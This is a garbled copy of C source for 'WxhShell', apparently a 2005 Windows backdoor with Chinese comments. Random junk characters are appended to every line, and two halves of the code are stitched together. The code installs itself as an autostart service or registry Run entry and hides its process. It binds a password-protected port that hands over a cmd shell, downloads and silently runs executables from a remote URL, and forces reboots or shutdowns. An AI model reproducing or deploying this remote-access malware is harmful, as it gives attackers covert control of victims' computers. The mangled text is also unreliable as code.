    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Th{*IJ <,  
    else { P$bo8*  
    closesocket(wsh); p=zm_+=  
    ExitThread(0); .z"[z^/uF  
    } "`k[ 4C  
    break; >+r2I%  
    } va0 a4s1O  
  // 获取shell ]2jnY&a5  
  case 's': { w'!gLta  
    CmdShell(wsh); D<`X B*  
    closesocket(wsh); @WmB0cc_  
    ExitThread(0); ~>n<b1}W  
    break; KB^IGF  
  } `W9_LROD  
  // 退出 ?=l(29tH  
  case 'x': { .JqIAC~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  x^"OH  
    CloseIt(wsh); GCoqKE  
    break; P1kd6]s  
    } = U5)m  
  // 离开 1gC=xMAT  
  case 'q': { TsQMwV_h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4ZIXG,@mZJ  
    closesocket(wsh); ll#PCgIm  
    WSACleanup(); "elh~K  
    exit(1); ,oC r6 ]  
    break; VioVtP0  
        } jHd~yCq  
  } a4wh-35/  
  } &^EkM  
0ode&dB  
  // 提示信息 eg3{sDv,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1#'wR3[+  
} p7*\]HyE)  
  } @*oi1_q  
*/1z=  
  return; ukw'$Yt2  
} ,=mn*  
X#J[Nn>  
// shell模块句柄 [L8gG.wy  
int CmdShell(SOCKET sock) Gqs8$[o  
{ 0iYe>u  
STARTUPINFO si; Po2YDj`  
ZeroMemory(&si,sizeof(si)); Z5+0?X0i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6ul34\;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; th]9@7UE,  
PROCESS_INFORMATION ProcessInfo; Ei#"r\q j_  
char cmdline[]="cmd"; kxKBI{L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p\(%bO   
  return 0; Q/< $ (Y  
} C}Khh`8@5.  
P"- ,^?6  
// 自身启动模式 tDi<n}  
int StartFromService(void) Hi ?],5,/  
{ 9gFC]UVWh  
typedef struct '?-GZ0oM  
{ MZ{)`7acR\  
  DWORD ExitStatus; MP T[f  
  DWORD PebBaseAddress; 'Ct+0X:D  
  DWORD AffinityMask; _-EHG  
  DWORD BasePriority; 5!?><{k=%  
  ULONG UniqueProcessId; )q#b^( v  
  ULONG InheritedFromUniqueProcessId; 5SDHZ?h  
}   PROCESS_BASIC_INFORMATION; HMBxj($eR  
xbIxtZm  
PROCNTQSIP NtQueryInformationProcess; Z!#zr@'k  
s|q B;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 39u!j|VH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )9Jt550(  
e'u 9 SpJ  
  HANDLE             hProcess; LaLA }1!  
  PROCESS_BASIC_INFORMATION pbi; MJK L4 G  
{4#'`Eejj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9ah,a 4  
  if(NULL == hInst ) return 0; |vzGFfRI  
,cpPXcz?,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -FJ 5N}R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * F&C`]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pTcm2-J  
/\2s%b*  
  if (!NtQueryInformationProcess) return 0; #A?U_32z/2  
w2Pkw'a{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  37{mhU  
  if(!hProcess) return 0; h(>4%hF  
MvObx'+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aN.Phn:  
KO:o GUR  
  CloseHandle(hProcess); JgEpqA12  
m\j'7mZ1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KbSIKj  
if(hProcess==NULL) return 0; xez~Yw2  
5&6S["lt  
HMODULE hMod; 8j8FQ!M  
char procName[255]; EpS"NQEe  
unsigned long cbNeeded; Ao 1*a%-.  
?-J\~AXL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M" %w9)@  
entO"~*EX  
  CloseHandle(hProcess); _aq3G9C_  
]*Zg(YA  
if(strstr(procName,"services")) return 1; // 以服务启动 {R]4N]l>  
u|APx8?"o  
  return 0; // 注册表启动 7+=fD|Cl  
} )9J&M6LX  
TDA+ rl  
// 主模块 d:Wh0y}  
int StartWxhshell(LPSTR lpCmdLine) .\qZkk}2l  
{ T+RfMEdr  
  SOCKET wsl; %6HDLG6@^}  
BOOL val=TRUE; ]uj6-0q){W  
  int port=0; or>5a9pj  
  struct sockaddr_in door; EnZrnoGM  
T/UhZ4(V  
  if(wscfg.ws_autoins) Install(); Il>!C\hU  
5q}680s9+  
port=atoi(lpCmdLine); C4]vq+  
WTZP}p1  
if(port<=0) port=wscfg.ws_port; /c8F]fkZ=  
>kd&>)9v  
  WSADATA data; f_7a) 'V4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v 4DF #O  
PJsiT4<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z@=#ry  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?,O{,2}  
  door.sin_family = AF_INET; E_MGejm@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ft#d & I  
  door.sin_port = htons(port); m:.ywiw=  
MkF:1-=L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #B_ ``XV  
closesocket(wsl); nPD5/xW  
return 1; 6$lj$8\  
} JF IUD{>fp  
lrPiaSO`I  
  if(listen(wsl,2) == INVALID_SOCKET) { wWQv]c%  
closesocket(wsl); mvyqCOp 0  
return 1; .'saUcVg:  
} rfpeX   
  Wxhshell(wsl); TL U^ad#9E  
  WSACleanup(); : 2Ho  
%+ynrg-  
return 0; s `B"qw  
DBI[OG9  
} DDsU6RyN  
rhGHR5 g  
// 以NT服务方式启动 u_[s+ J/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) llXyM */  
{ 5zWxI]4d\  
DWORD   status = 0; V\^3I7F  
  DWORD   specificError = 0xfffffff; N{U``LV  
5*l~7R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gNY}`'~hr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dm?>U1{   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {{7%z4l  
  serviceStatus.dwWin32ExitCode     = 0;  c %w h  
  serviceStatus.dwServiceSpecificExitCode = 0;  I0trHrX9  
  serviceStatus.dwCheckPoint       = 0; yJkERiJV  
  serviceStatus.dwWaitHint       = 0; TR/'L!EE  
n>T1KC%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sS/#)/B  
  if (hServiceStatusHandle==0) return; J*?BwmD'8  
~0aWjMc(>  
status = GetLastError(); c%%r  
  if (status!=NO_ERROR) MQ>.^]B]o  
{ BQq,,i8H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KLK '_)|CT  
    serviceStatus.dwCheckPoint       = 0; Ch8w_Jf1yx  
    serviceStatus.dwWaitHint       = 0; !g{9]"Z1T  
    serviceStatus.dwWin32ExitCode     = status; 5|&8MGW-$  
    serviceStatus.dwServiceSpecificExitCode = specificError; eJFGgJRIvF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iTJSW  
    return; chv0\k"'  
  } teh$W<C  
8q*MhH>6I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 22lC^)`TE  
  serviceStatus.dwCheckPoint       = 0; *<?or"P  
  serviceStatus.dwWaitHint       = 0; \W$bOp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ov>Rvy  
} 7A'd55I4  
72@lDY4cE  
// 处理NT服务事件,比如:启动、停止 6) {jHnk)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NfqJ>[}I+  
{ PF5;2  
switch(fdwControl) ip6$Z3[)  
{ vM@2C'  
case SERVICE_CONTROL_STOP: ljg2P5  
  serviceStatus.dwWin32ExitCode = 0; ]4f;%pE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JRQ{Q"`)  
  serviceStatus.dwCheckPoint   = 0; ue8Cpn^M  
  serviceStatus.dwWaitHint     = 0; ? ->:,I=<~  
  { Z@ AHe`A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ivL}\~L  
  } Itn7Kl  
  return; 3J t_=!qlo  
case SERVICE_CONTROL_PAUSE: v"'Co6fw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |tL57Wu93  
  break; za{z2# aJ  
case SERVICE_CONTROL_CONTINUE: BZAeg">3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g=w,*68vuy  
  break; ]C.x8(2!f  
case SERVICE_CONTROL_INTERROGATE: E+wd9/;  
  break; 90JD`Nz  
}; ~P&Brn"=Rs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EX^}#|e*h  
} WXz'H),R  
>s#[dr\ww  
// 标准应用程序主函数 Kjbt1n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [^wEKRt&  
{ ;{1J{-EA  
W_k;jy_{9  
// 获取操作系统版本 V=yRE  
OsIsNt=GetOsVer(); v=!Ap ; 2L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Y rdu,c  
]L0GIVIE  
  // 从命令行安装 c2M-/ x-:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3#fu; ??1.  
4R_Vi[i  
  // 下载执行文件 yn&AMq ]o  
if(wscfg.ws_downexe) { =%u\x=u|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QmQsNcF~z  
  WinExec(wscfg.ws_filenam,SW_HIDE); >7@kwj-f)  
} f:$LVpXS-  
,(aOTFQS  
if(!OsIsNt) { eL)* K>T  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^X2U A{  
HideProc(); zqEMR>px  
StartWxhshell(lpCmdLine); $HjKELoJ<  
} mKWfRx*UdG  
else J?/.|Y]e  
  if(StartFromService()) rNzsc|a:  
  // 以服务方式启动 piIr .]  
  StartServiceCtrlDispatcher(DispatchTable); B35zmFX|}N  
else /Mq]WXq[V  
  // 普通方式启动 $lkd9r1   
  StartWxhshell(lpCmdLine); qGndh  
]W,K}~!   
return 0; oicett=5  
} bkmW[w:M  
iG<rB-"  
(nP 6Xq  
wg6![Uh  
=========================================== ]7WBoC8  
 ESOuDD2<  
y w"Tw  
*SkUkqP9z  
X|.M9zIx  
x' Z<  
" JyPsRpi\  
D;bQ"P-m47  
#include <stdio.h> muLt/.EZ  
#include <string.h> wv,,#P  
#include <windows.h> YJgw%UVJ5m  
#include <winsock2.h> bH7[6#y$  
#include <winsvc.h> @Z$`c{V<  
#include <urlmon.h> y<YVb@O.  
L2ePWctq}  
#pragma comment (lib, "Ws2_32.lib") %gd=d0vm  
#pragma comment (lib, "urlmon.lib") o l 67x  
]2n&DJu  
#define MAX_USER   100 // 最大客户端连接数 VQHJ O I  
#define BUF_SOCK   200 // sock buffer 7Dy\-9:v  
#define KEY_BUFF   255 // 输入 buffer Oq{&hH/'}  
]d"4G7mu`l  
#define REBOOT     0   // 重启 OwIW;8Z  
#define SHUTDOWN   1   // 关机 @+",f]  
U*8;ZXi  
#define DEF_PORT   5000 // 监听端口 ]Jj\**  
9GS<d.#Nvc  
#define REG_LEN     16   // 注册表键长度 bAeN>~WvY  
#define SVC_LEN     80   // NT服务名长度 %8H*}@n  
1Giy|;2/  
// 从dll定义API OVO0Emv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <!:,(V>F(C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *BVkviqxz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ah)OyO6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G8`q-B}q  
=SLP}bP{:  
// wxhshell配置信息 ToJV.AdfT  
struct WSCFG { dQ^>,(  
  int ws_port;         // 监听端口  TyMR m  
  char ws_passstr[REG_LEN]; // 口令 ]sO})  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cog Lo&.  
  char ws_regname[REG_LEN]; // 注册表键名 ]+[ NX)=  
  char ws_svcname[REG_LEN]; // 服务名 gcr,?rE<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `"[VkQFB/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D8_m_M| P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9QJ=?bIC#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /s6':~4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KtHh--j`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :c,\8n  
7"=  
}; ,*0>CBJvv  
3a#637%  
// default Wxhshell configuration Z5Ao3O@  
struct WSCFG wscfg={DEF_PORT, N`y!Km  
    "xuhuanlingzhe", J),7ukLu^  
    1, N##T1 Qm)  
    "Wxhshell", {a_= 4a  
    "Wxhshell", -w 2!k  
            "WxhShell Service", ` e~/  
    "Wrsky Windows CmdShell Service", XPzwT2_E  
    "Please Input Your Password: ", <PW*vo9v  
  1, iUA2/ A  
  "http://www.wrsky.com/wxhshell.exe", %xLziF  
  "Wxhshell.exe" e}/c`7M  
    }; \WouTn  
({![  
// 消息定义模块 -O~WHi5}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )QaJYC^+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dz5bW>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +Qu~UK\   
char *msg_ws_ext="\n\rExit."; 60~{sk~E  
char *msg_ws_end="\n\rQuit."; OdRXNk:k-j  
char *msg_ws_boot="\n\rReboot..."; 0Qw?.#[9  
char *msg_ws_poff="\n\rShutdown..."; S3hJL:3c  
char *msg_ws_down="\n\rSave to "; xQ1&j,R]  
e@k ti@ZJ  
char *msg_ws_err="\n\rErr!"; CJjma=XH  
char *msg_ws_ok="\n\rOK!"; a>sUq["  
\R&`bAdk  
char ExeFile[MAX_PATH]; S_c#{4n  
int nUser = 0; ~u%9@}Oo>  
HANDLE handles[MAX_USER]; nT|fDD|  
int OsIsNt; VbBZ\`b  
kp<9o!?)  
SERVICE_STATUS       serviceStatus; $g#X9/+<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bvEk.~tC'  
5[I> l  
// 函数声明 PhKJ#D Rbr  
int Install(void); g IX"W;  
int Uninstall(void); `mw@"  
int DownloadFile(char *sURL, SOCKET wsh); 28X)s!W'  
int Boot(int flag); ~DqNA%Mb  
void HideProc(void); M P0ww$(  
int GetOsVer(void); SL%4w<  
int Wxhshell(SOCKET wsl); t47 f$gq  
void TalkWithClient(void *cs); x"AYt:ewuc  
int CmdShell(SOCKET sock); 4CX*  
int StartFromService(void); s.zH.q,  
int StartWxhshell(LPSTR lpCmdLine); * I'O_D  
jGI!}4_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (jY.S|%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ( }JX ]-  
e;rs!I !Yw  
// 数据结构和表定义 'O\K Wj{  
SERVICE_TABLE_ENTRY DispatchTable[] = +|#sF,,X4g  
{ JEJ] '3  
{wscfg.ws_svcname, NTServiceMain}, [`ttNW(_  
{NULL, NULL} /8W}o/,s5  
}; 7 hnTHL  
8l!S<RA  
// 自我安装 ?0'bf y]  
int Install(void) 6mRvuJ%  
{ 1grrb&K  
  char svExeFile[MAX_PATH]; f_raICO{R  
  HKEY key; i>)Whr'e8  
  strcpy(svExeFile,ExeFile); ctt5t  
/ d6mlQS  
// 如果是win9x系统,修改注册表设为自启动 Yl-09)7s  
if(!OsIsNt) { ?r'b Z~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LgUaX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); krz@1[w-j  
  RegCloseKey(key); ZV;#ZXch  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o`RTvG Xk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *vBcT.|,  
  RegCloseKey(key); :4Q_\'P  
  return 0; ?`FI!3j  
    } w:N\]=Vh  
  } >xP $A{  
} /}M@ @W  
else { 3)Paf`mr  
x]a>Q),  
// 如果是NT以上系统,安装为系统服务 Iupk+x>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H%faRUonz  
if (schSCManager!=0) H,H'bd/  
{ ^vG*8,^S=8  
  SC_HANDLE schService = CreateService ;! CQFJ=  
  ( 1Ete;r%5=  
  schSCManager, /1MO]u\  
  wscfg.ws_svcname,  d(v )SS  
  wscfg.ws_svcdisp, PkG+`N  
  SERVICE_ALL_ACCESS, /3+7a\|mKr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7J>n;8{%?  
  SERVICE_AUTO_START, `?Y/:4  
  SERVICE_ERROR_NORMAL, CiPD+I  
  svExeFile, X0U{9zP  
  NULL, 5jYRIvM[Q~  
  NULL, q~l&EH0  
  NULL, F*I{?NRN1  
  NULL, #;^.&2Lt  
  NULL <[a9"G 7  
  ); <cepRjDn  
  if (schService!=0) T+2?u.{I  
  { KZDB\T  
  CloseServiceHandle(schService); M>T#MDK\(  
  CloseServiceHandle(schSCManager); {kZhje^$vi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,VHvQU  
  strcat(svExeFile,wscfg.ws_svcname); -?e~S\JH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KgKV(q=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]qv/+~Qs>  
  RegCloseKey(key); Iqo4INGIi  
  return 0; 6o,, w^  
    } !-2 S(8  
  } wetkmd  
  CloseServiceHandle(schSCManager); J-I7K !B  
} (dO4ww@O  
} W:0@m^r  
]p#Zdm1EL  
return 1; |dXS+R1  
} 5(DCq(\P*  
*(r85lEou)  
// 自我卸载 'VF9j\a  
int Uninstall(void) v3aiX  
{ !})+WSs'"s  
  HKEY key;  '5[L []A  
O gycP4z[  
if(!OsIsNt) { |t.WPp5,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )EcF[aO  
  RegDeleteValue(key,wscfg.ws_regname); B`KpaE]  
  RegCloseKey(key); #UGbSOoCtn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >GZF \ER  
  RegDeleteValue(key,wscfg.ws_regname); S liF$}J  
  RegCloseKey(key); N*o+m~:y  
  return 0; ][0HJG{{g  
  } I#9K/[  
} Y @K9Hl  
} iOD9lR`s  
else { H[6d@m- Z  
eL-92]]e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DpTQPu9  
if (schSCManager!=0) RNIfw1R  
{ k"L_0HK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dn5T7a~   
  if (schService!=0) {~d4;ht1Y  
  { $x`U)pv  
  if(DeleteService(schService)!=0) { geT<vh Z6  
  CloseServiceHandle(schService); n){\KIU/O  
  CloseServiceHandle(schSCManager); 57r\s 8  
  return 0; y6G[-?"/Q  
  } w#"c5w~  
  CloseServiceHandle(schService); 'MC) %N,  
  } iF`E> %#  
  CloseServiceHandle(schSCManager); .>H7i`1D`  
} z{AfR2L  
} XFM6.ye  
Cu9,oU+N  
return 1; 67f#Z&r2k  
} irrQ$N}   
f5`exfdHE  
// 从指定url下载文件 rKR<R(=!=  
int DownloadFile(char *sURL, SOCKET wsh) xx41Qw>\W  
{ 9fe~Q%x=u  
  HRESULT hr; /~AajLxu3W  
char seps[]= "/"; \7Zk[)!FL  
char *token; ;i,yT ?so  
char *file; i%-c/ lop  
char myURL[MAX_PATH]; \d v9:X$  
char myFILE[MAX_PATH]; bD49$N?>  
-<CBxyZa&  
strcpy(myURL,sURL); sd#a_  
  token=strtok(myURL,seps); |ukEnjI`u  
  while(token!=NULL) i\,#Z!  
  { !QC->  
    file=token; `bivAL  
  token=strtok(NULL,seps); Vwl`A3Y  
  } ]Ub?Wo7F?  
;:' A{&0N  
GetCurrentDirectory(MAX_PATH,myFILE); zJtYy4jI)  
strcat(myFILE, "\\");  +/AW6  
strcat(myFILE, file); :@kSDy+*Q  
  send(wsh,myFILE,strlen(myFILE),0); Soq 'B?>  
send(wsh,"...",3,0); ][#]4 _  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z^=9%tLJ  
  if(hr==S_OK) et)A$'Q  
return 0; 3O$Q>.0w/  
else LVO`+:  
return 1; n802!d+Tn  
].` i`.T  
} }0qgvw  
p6I@o7f  
// 系统电源模块 "EhA _ =i  
int Boot(int flag) +FyG{1?<  
{ oXb}6YC  
  HANDLE hToken; 7pr@aA"vgj  
  TOKEN_PRIVILEGES tkp; B ljZ&wZW  
3kQky  
  if(OsIsNt) { !=eui$]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LLV:E{`p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F&I^bkvh  
    tkp.PrivilegeCount = 1; 6fQQKM@a|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QnVYZUgJeV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o'r?^ *W  
if(flag==REBOOT) { 9?@M Zh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /ey}#SHm,  
  return 0; zjB8~ku#  
} @k ~Xem%<  
else { :/d#U:I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) & P,8 )YA  
  return 0; YzsHec  
} Oz]iHe  
  } `3\5&Bf  
  else { _q+H>1. &9  
if(flag==REBOOT) { H8rDG/>^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) exZa:9 sp  
  return 0; &F)P3=  
} kf.w:X"i  
else { \_CC6J0k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^Jsx^?  
  return 0; l>H#\MR  
} ?neXs-'-p  
} ^JJ*pT:  
7WKb| /#;  
return 1; 45q-x_  
} 7;0^r#:87#  
:a nUr<  
// win9x进程隐藏模块 C.Y]PdYyj  
void HideProc(void) L+(5`Y  
{ pma'C\b>  
j[ kg9z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #-Ehg4W  
  if ( hKernel != NULL ) J *5 )g  
  { 7[.aAGTZ;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nu<M~/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I?EtU/AD  
    FreeLibrary(hKernel); >5'C<jc C  
  } +MvcW.W~  
Zu,rf9LMj  
return; iQ~;to;Y  
} M._9/ *C U  
vB hpD  
// 获取操作系统版本 U4w^eWzP  
int GetOsVer(void) XFUlV;ek  
{ f]jAa?d T&  
  OSVERSIONINFO winfo; eR$qw#%c*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d *!)wt  
  GetVersionEx(&winfo); ^M0e0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dmgoVF_qR  
  return 1; iOYC1QFi?  
  else 96fbMP+7R  
  return 0; :D\M.A  
} /5b,&  
rF'_YYpr>  
// 客户端句柄模块 ;G |5kvE>  
int Wxhshell(SOCKET wsl) eG55[V<!  
{ *9Ej fs7L  
  SOCKET wsh; 2? 9*V19yu  
  struct sockaddr_in client; lyc ]E 9  
  DWORD myID; AqM}@2#%%  
]|KOc& y:I  
  while(nUser<MAX_USER) b1>zGC^|  
{ G~b/!clN  
  int nSize=sizeof(client); &66-0d+Sh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8b\XC%k  
  if(wsh==INVALID_SOCKET) return 1; =4+Wx8ZeW  
$Y& 8@/L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q"itV&d,  
if(handles[nUser]==0) !6{; z/Hy  
  closesocket(wsh); DyhW_PH2J  
else 0eP7efy  
  nUser++; lR3`4bHA  
  } F6^Xi"R[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `=TV4h4  
uJhB>/Og  
  return 0; 1- Jd Qs6  
} L+VqTt  
`>'%!E9G  
// 关闭 socket h \dq]yOl  
void CloseIt(SOCKET wsh) c~ x  
{ hq+j8w}<-  
closesocket(wsh); !(2rU@.  
nUser--; >8%<ML  
ExitThread(0); t,H=;U#  
} Fq>tl 64A  
sKD sps^$  
// 客户端请求句柄 p8gm=  
void TalkWithClient(void *cs) Dfz3\|LJ  
{ ]c/k%] o~  
Q1hHK'3w  
  SOCKET wsh=(SOCKET)cs; d!>.$|b  
  char pwd[SVC_LEN]; DD$YMM  
  char cmd[KEY_BUFF]; 'Z ;8-1M?O  
char chr[1]; e"g=A=S  
int i,j; LKC^Y) 6o  
L F<{/c9,  
  while (nUser < MAX_USER) { pb8sx1.j;  
^UJB%l  
if(wscfg.ws_passstr) { #^FDG1=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nLvF^%P8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cl,\N\  
  //ZeroMemory(pwd,KEY_BUFF); yzI`&? P2  
      i=0; %mF:nU4  
  while(i<SVC_LEN) { , yd]R4M  
b9Fd}WZz  
  // 设置超时 FUTD/y]Lu  
  fd_set FdRead; NQ&\t[R[  
  struct timeval TimeOut; r3OR7f[  
  FD_ZERO(&FdRead); l4O&*,}l##  
  FD_SET(wsh,&FdRead); gPT<%F  
  TimeOut.tv_sec=8; Q vc$D{z  
  TimeOut.tv_usec=0; (D5sJ$&E@\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r3;@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z(h.)$yH*=  
?Sj >b   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); arWP]%E0W  
  pwd=chr[0]; ,;D$d#\"  
  if(chr[0]==0xd || chr[0]==0xa) { i$?$X,  
  pwd=0; NpPuh9e{  
  break; I,8f{T!O@"  
  } > a?K ![R  
  i++; 'zo] f  
    } <@4 48,9&  
kN~:Bh$  
  // 如果是非法用户,关闭 socket d94 Le/E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s;!_'1pi@  
} K HO@"+  
z?3t^UPW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N e<D'-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *"qS  
uyqu n@q  
while(1) { -s6k't  
>.=v*\P  
  ZeroMemory(cmd,KEY_BUFF); 3QF/{$65!  
%a\L^w)Xn  
      // 自动支持客户端 telnet标准   I%<LLkQ  
  j=0; oE.59dx  
  while(j<KEY_BUFF) { qP k`e}D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =F<bAZ  
  cmd[j]=chr[0]; G4;5$YGG  
  if(chr[0]==0xa || chr[0]==0xd) { P]^ BE;7T  
  cmd[j]=0; EGMIw?%Y`-  
  break; *ufVZzP(  
  } Wc HL:38  
  j++; ;R[w}#Sm  
    } `EdZ  
2{}8_G   
  // 下载文件 <y2HzBC  
  if(strstr(cmd,"http://")) { 1DR ih>+#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3YO %$  
  if(DownloadFile(cmd,wsh)) n@te.,?A"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4.e0k<]N`  
  else ]8+ D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dbg,|UH  
  } HD_ #-M  
  else { +(U;+6 b  
BqtUL_jm  
